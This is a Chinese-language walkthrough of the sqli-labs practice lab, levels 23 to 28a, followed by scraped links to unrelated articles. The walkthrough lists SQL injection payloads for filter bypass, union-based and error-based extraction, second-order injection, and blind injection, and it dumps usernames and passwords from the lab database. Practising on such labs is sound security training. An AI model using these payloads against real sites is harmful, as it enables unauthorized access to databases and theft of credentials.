Less_23

首先在php文件中加入echo $sql;echo "<br>";

方法一: ;%00

输入?id=1’,报错,说明存在注入漏洞:

输入?id=1' --+,此时无法进行闭合:

在第一关中,我们可以看到可以正常使用闭合,此时我们查阅源代码:(可知,源码对 --+、#进行了过滤,所以这里我们只能使用and或者or语句进行闭合)

依然可以使用另外一种特殊的注释符 ;%00通过这个注释符可以判断列数:

url末尾将--+、# 替换为 ;%00   其余的均和less-1关相同例如查列:

输入?id=1' order by 3;%00:

查找回显位置:?id=-1'  union select 1,2,3    ;%00

查库名:/?id=-1‘  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00

查表名:/?id=-1‘  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00

差字段名:/?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00

查字段中所有的值:/?id=-1‘  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00

输入:?id=-1'order by 10 and '1'='1

我们已经知道了这个只有三列,但是回显结果没有报错

我们将上面语句中的and改成or,返回结果仍没有报错

这是由于mysql解析顺序使得order by 在执行时候被忽略了

我们可以用union select的另一种方式来进行查询

 

输入:?id=1' union select 1,2,3'

 

 

 

输入:?id=-1' union select 1,2,3' 我们将前面的值报错,使得前面值无法查询,此时在3处进行闭合操作(其中-1可以换成任意一个超出数据库的数值)

查询数据库: ?id=-1‘ union select 1,2,database()’

查询库中信息:?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '

其他操作与上述类似;

Less23方法一总结:

方法二:报错注入

输入: ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1  爆出数据库

输入: ?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1  查询所有的数据库,使用limit进行逐个查询。

Less_24

补充知识:二次注入

第24关我们使用二次注入:

查询users表信息,找到admin的密码,密码为admin;

我们用admin’# 注册一个恶意账号,再登录 密码为123456

我们修改admin’#的密码  密码为111111

用admin  111111结果登录成功

Less24总结

Less_25

首先在PHP文件中添加:echo $sql;  echo “<br>”;

输入?id=1,返回正常:

输入?id=1’ ,报错,存在注入漏洞;

输入?id=1' order by 3--+发现报错,下方提示显示or被过滤;

查看源码,得知or and 都被过滤;

方法一:尝试双写

输入?id=1' oorrder by 3--+,回显正常

输入?id =-1‘  union select 1,2,3--+  获得回显位置

所有位置的or and 都需要双写

查库:?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+

查表:?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+

查字段:?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

查字段中得值: ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

方法二:or替换为|| 基于报错的注入

输入: ?id=-1‘  || 1=1--+  存在注入;

输入: ?id=-1'  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+  查所在数据库;

输入: ?id=-1'  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+ 查当前所有数据,此时不使用group_concat(),因为数据显示不完整;

Less_25a

Less25a:  没有任何包裹, or  and 也要双写

输入?id=1 回显正常;

输入 ?id=1’  回显异常,数据消失,存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹;

查有多少列: ?id=1 oorrder by 3--+

查回显位置: ?id=-1 union select 1,2,3--+

查库:?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

查字段: ?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

查字段信息: ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

基于时间的布尔盲注

  1. 输入: ?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 判断数据库的长度;
  2. 输入: ?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+  判断当前数据库的组成;

输入: ?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+

判断所有的数据库,

然后依次进行下去。

布尔盲注

输入:?id=-1 oorr length(database())>1--+ 回显正常,说明此时数据库长度大于1;

输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+   回显正常,说明此时数据库第一个字母大于a;

输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+,回显异常,说明我们语句是正确的;

然后依次进行下去。

Less25a总结

Less_26

输入: ?id=1  回显正常;

输入:  ?id=1’ 出现报错,说明可能存在注入漏洞;

输入: ?id=1’ --+ 显示错误 且提示中没有--+  ;

输入:  ?id=1’ ;%00 显示正常;

查看源代码可知:所有or and 注释符 空格 都被替换

输入: ?id=1’ oorr ‘1’=’1 可以正常登陆;(or可以用||替换)

输入: ?id=1’ union select 1,2,3 ;%00  可以发现union select之间没有了空格;

解决办法:

or可以用||替换

and可以用&&   %26%26替换

注释符用;%00替代

空格用%a0替代

采用注入报错:

查库:?id=1‘  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || ’1‘=‘1

查表:

?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479)  ) ),1)  || ’1‘=‘1

查字段: 

?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273)  ) ),1) || ’1‘=‘1

查字段中的值:

?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  ) ),1) || ’1‘=‘1             (不完整)

改变id的值可以查看所有的数据

?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where (id=3) ) )   ,1) || ’1‘=‘1 

 

使用union select 时要使用%a0来代替空格  注释符用;%00  或者 ||’1’=’1

Less_26a

 id=('1')包裹

输入?id=1   回显正常;

输入 ?id=1’ 回显错误;

查看源代码:可以看到和26关一样,将这些符号过滤;

看源码可知,26a将错误不进行打印,所以此关不能使用注入报错;

我们使用union select将空格都用%a0替代进行操作即可:

查有多少列:?id=1') %a0  oorrder %a0  by %a0  3 ;%00

 

查看回显位置:?id=111') %a0  union  %a0 select %a0 1,2,3 ;%00

后面操作和前面操作类似。

Less_27

输入?id=1 回显正常;

输入?id=1’  回显错误;

输入?id=1’ ;%00  回显正常;

查看源码,发现select  union 注释符 空格 也都被注释了;

方法一:大小写混写

因为union select 规矩的全是大写或者全是小写,那我们尝试大小写混合写

 

输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00  查 回显位置;

 

输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2,group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00   查库;

其他和前面类似。

方法二:使用报错注入

输入:?id=1'    %a0  ||  %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1  查库

其他操作和26关类似。

 

 

方法三:基于时间的盲注;   %26%26替代&&  即and

 

输入:?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  '1'='1

注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会为真

输入:?id=1' %26%26 if( length(database())=5, 1, sleep(5)    )  || %0a  '1'='1

 

Less_27a

less27a使用””包裹   

其他与第27关类似。

 

 

 

 

Less_28

Less-28使用(’’)包裹

 

输入 ?id=1 回显正常

输入 ?id=1’) --+ 回显错误;

输入 ?id=1’) ;%00 回显正常;

查看源码,发现union select联合查询  空格 注释符也都被过滤;

方法一:%a0代替空格

输入 ?id=1') %a0 order %a0 by %a0 3;%00  查看有多少列;

输入:?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00  查看回显位置;

也可以输入:?id=1111') %a0 union %a0 select %a0 1,2,3 || (1)=(1   查看回显位置; 即;%00可替换为|| (1)=(1

输入 ?id=1111') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00  得到数据库

后面查询操作和前面类似。

方法二:基于时间的盲注

输入 ?id=1') %a0 %26%26  if( length(database())>8, 1, sleep(5)) ;%00

输入:?id=1') %a0 %26%26  if( length(database())>1, 1, sleep(5)) ;%00

 

其他操作和前面类似。

 

 

Less_28a

Less-28a:使用(‘’)包裹

查看源码:

此关没有过滤空格注释符,其他语句和关类似。

sqli-libs(23-28a关)的更多相关文章

  1. 重闯Sqli-labs关卡第一天(1-4关)

    前言 之前暑假闯了很多关但是最近刷BUGku的题 遇到SQL注入题就凉... 垃圾的我只能继续硬着头皮重新再来学习,再来闯. 第一关:字符型注入 字符型注入就是注入点的数据类型是字符型.字符型注入与数 ...

  2. 省市区json数据

    window.LocalList = [ { region:{ name:'北京市', code:'11', state:[ { name:'北京', code:'01', city:[ {name: ...

  3. send data to Flume client-sdk flume使用之httpSource

    https://flume.apache.org/FlumeDeveloperGuide.html#client-sdk flume使用之httpSource - CSDN博客 https://blo ...

  4. Sqli labs系列-less-4 这关好坑!!!

    这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...

  5. 2018.09.23 bzoj1076: [SCOI2008]奖励关(期望+状压dp)

    传送门 一道神奇的期望状压dp. 用f[i][j]f[i][j]f[i][j]表示目前在第i轮已选取物品状态为j,从现在到第k轮能得到的最大贡献. 如果我们从前向后推有可能会遇到不合法的情况. 所以我 ...

  6. Error:(23, 0) Could not find method implementation() for arguments [directory 'libs'] on object of t

    Error:(28, 0) Could not find method implementation() for arguments [com.android.support:appcompat-v7 ...

  7. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  8. SQLi_Labs通关文档【1-65关】

    SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...

  9. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  10. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

随机推荐

  1. Python中pip的使用

    1.pip安装模块 pip install 模块名称 -i 安装源 pip install requests -i https://mirrors.aliyun.com/pypi/simple/

  2. 我的python笔记05

    Python 之路 Day5 - 常用模块学习 本节大纲: 模块介绍 time &datetime模块 random os sys shutil json & picle shelve ...

  3. .gitignore文件说明-git提交时可忽略的文件

    在我们平时做项目时,总有一些文件不想提交到服务器的版本管理上 这时就要设置相应的忽略规则,来忽略这些文件的提交 规则 作用/mtk 过滤整个文件夹*.zip 过滤所有.zip文件/mtk/do.c 过 ...

  4. redis 列表类型list

    列表类型(list)1.插入 左侧插入 :lpush key value1 value2 value3... 右侧插入: lpush key value1 value2 value3... 在指定元素 ...

  5. 158.Clickjacking点击劫持攻击实现和防御措施

    clickjacking攻击: clickjacking攻击又称为点击劫持攻击,是一种在网页中将恶意代码等隐藏在看似无害的内容(如按钮)之下,并诱使用户点击的手段. clickjacking攻击场景: ...

  6. 二分-D - Can you solve this equation?

    D - Can you solve this equation? Now,given the equation 8*x^4 + 7*x^3 + 2*x^2 + 3*x + 6 == Y,can you ...

  7. android 代码实现模拟用户点击、滑动等操作

    /** * 模拟用户点击 * * @param view 要触发操作的view * @param x 相对于要操作view的左上角x轴偏移量 * @param y 相对于要操作view的左上角y轴偏移 ...

  8. linux切换普通用户遇bash-4.1解决

    1,修改vim  /etc/passwd 把对应用户的登陆环境改成,/bin/bash 2,复制配置 cp -a /etc/skel/. /home/www/ 3再次尝试su www有效

  9. 找不到getter/setter——没有安装lombok插件

    项目pull后的问题: import lombok.Getter; import lombok.Setter; @Setter @Getter public class ConcreteEntity ...

  10. java 字符+操作,字符串+操作

    字符额 “+” 操作 是拿字符在计算机底层对应的数值来进行计算的 ‘A’ = 65 A-Z是连续的 'a' = 97 a-z是连续的 '0' = 48 0-9是连续的 算数表达式中包含多个基本数据类型 ...